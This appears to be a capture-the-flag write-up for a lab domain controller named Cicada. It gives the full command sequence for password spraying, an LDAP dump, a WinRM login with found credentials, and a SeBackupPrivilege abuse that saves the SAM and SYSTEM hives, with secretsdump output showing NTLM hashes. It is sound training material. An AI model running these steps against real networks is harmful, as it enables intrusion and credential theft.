An Nmap full-port scan reveals a standard Windows Active Directory domain controller. Nothing unusual stands out beyond the expected AD service stack.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: cicada.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: DNS:CICADA-DC.cicada.htb
445/tcp open microsoft-ds?
464/tcp
NoteAdd the following entries to
/etc/hostsbefore proceeding:
<TARGET_IP> cicada.htb CICADA-DC.cicada.htb CICADA-DC
Null authentication fails, but a guest login succeeds and exposes a share named HR. Inside this share, an HR notice document contains a default password intended for new employees.
Using the guest account, brute-force the RID range to enumerate all domain users:
nxc smb <TARGET_IP> -u guest -p '' --rid-bruteParse the output to extract a clean user list and save it as users.list.
Spray the default password found in the HR notice against the enumerated user list:
nxc smb <TARGET_IP> -u users.list -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-successOne account authenticates successfully with the default credentials. However, this account has minimal privileges on its own.
Using the compromised account, perform a full LDAP dump with ldapdomaindump:
ldapdomaindump ldap://<TARGET_IP> \
-u 'michael.wrightson' \
-p 'Cicada$M6Corpb*@Lp#nZp!8' \
-o lootmeReviewing the dumped domain objects reveals that david.orelious has stored his password in plaintext within his AD account description field — a common misconfiguration.
Authenticating as david.orelious, the DEV share becomes accessible. It contains a PowerShell backup script:
DEV\Backup_script.ps1
Inspecting the script reveals hardcoded credentials for emily.oscars, who has WinRM access to the domain controller.
Authenticate to the DC via WinRM using Emily's credentials:
evil-winrm -i <TARGET_IP> -u emily.oscars -p '<PASSWORD>'Checking Emily's token privileges reveals SeBackupPrivilege is enabled — a powerful privilege that grants the ability to read any file on the system, bypassing ACL enforcement (intended for backup operations).
whoami /privUse reg save to back up the SAM, SYSTEM, and SECURITY hives:
reg save hklm\sam C:\Temp\sam.save
reg save hklm\system C:\Temp\system.save
reg save hklm\security C:\Temp\security.saveTransfer the saved hive files to your attacking machine.
Use Impacket's secretsdump.py to extract NTLM hashes from the hive files offline:
secretsdump.py -sam sam.save -system system.save localOutput:
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
The Administrator NTLM hash is recovered. Pass-the-hash to authenticate as Administrator and complete the domain compromise.
flowchart TD
subgraph Phase1["1. Recon & Foothold"]
A[SMB Guest Access\n& RID Brute-Force] --> B[Default Password Found\n& Password Spray]
B --> C[Shell: michael.wrightson]
end
subgraph Phase2["2. Lateral Movement"]
D[LDAP Dump\n& Share Enumeration] --> E[DEV Share\nBackup_script.ps1]
E --> F[WinRM Session\nemily.oscars]
end
subgraph Phase3["3. PrivEsc"]
G{SeBackupPrivilege\nDetected} --> H[Registry Save\nSAM + SYSTEM]
H --> I[secretsdump.py\nOffline Extraction]
end
Phase1 --> Phase2
Phase2 --> Phase3
Phase3 --> J([💀 Administrator Hash])
%% Quick styling override for the crown jewel
style J fill:#440000,stroke:#ff0000,stroke-width:2px,color:#fff;Get-ADUser -Filter * -Properties Description.